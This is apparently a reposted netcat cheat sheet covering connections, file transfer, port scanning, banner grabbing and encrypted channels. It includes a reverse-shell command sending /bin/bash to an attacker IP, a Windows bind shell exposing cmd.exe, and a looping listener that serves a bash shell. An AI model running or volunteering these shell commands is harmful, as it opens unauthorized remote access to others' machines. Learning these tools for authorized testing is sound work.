# NETCAT COMMAND CHEAT SHEET

Listen to this Post

Netcat (often referred to as the “Swiss Army knife” of networking) is a versatile utility for reading from and writing to network connections using TCP or UDP. Below is a comprehensive cheat sheet along with practical examples.

Basic Netcat Usage

1. Connect to a Remote Host

nc [host] [port] 

Example:

nc example.com 80 

### **2. Listen for Incoming Connections**

nc -l -p [port] 

Example:

nc -l -p 4444 

### **3. Transfer Files**

**Sender:**

nc -l -p 4444 < file.txt 

**Receiver:**

nc [sender_ip] 4444 > received_file.txt 

### **4. Port Scanning**

nc -zv [host] [start_port-end_port] 

Example:

nc -zv example.com 20-80 

### **5. Reverse Shell**

**Victim (Linux):**

nc -e /bin/bash [attacker_ip] [port] 

**Attacker:**

nc -l -p [port] 

### **6. Bind Shell**

**Victim (Windows):**

nc.exe -l -p [port] -e cmd.exe 

**Attacker:**

nc [victim_ip] [port] 

## **Advanced Netcat Techniques**

### **7. Encrypted Communication with Netcat + OpenSSL**

**Server:**

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 

**Client:**

openssl s_client -quiet -connect [server_ip]:4444 

### **8. UDP Mode**

nc -u [host] [port] 

### **9. Persistent Netcat Listener**

while true; do nc -l -p 4444 -e /bin/bash; done 

### **10. Banner Grabbing**

nc -nv [target_ip] [port] 

## **You Should Know:**

  • Netcat can be used for both legitimate network troubleshooting and penetration testing.
  • Always ensure proper authorization before scanning or connecting to remote systems.
  • Modern systems may have Netcat variants like `ncat` (from Nmap) with additional features.

## **What Undercode Say:**

Netcat remains one of the most powerful tools for network analysis, file transfer, and even post-exploitation tasks. Mastering it is essential for cybersecurity professionals. Always use it responsibly and ethically.

## **Expected Output:**

A fully functional Netcat cheat sheet with practical commands for network debugging, file transfer, and security assessments.

*URLs (if needed):*

References:

Reported By: Activity 7310339687116627969 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image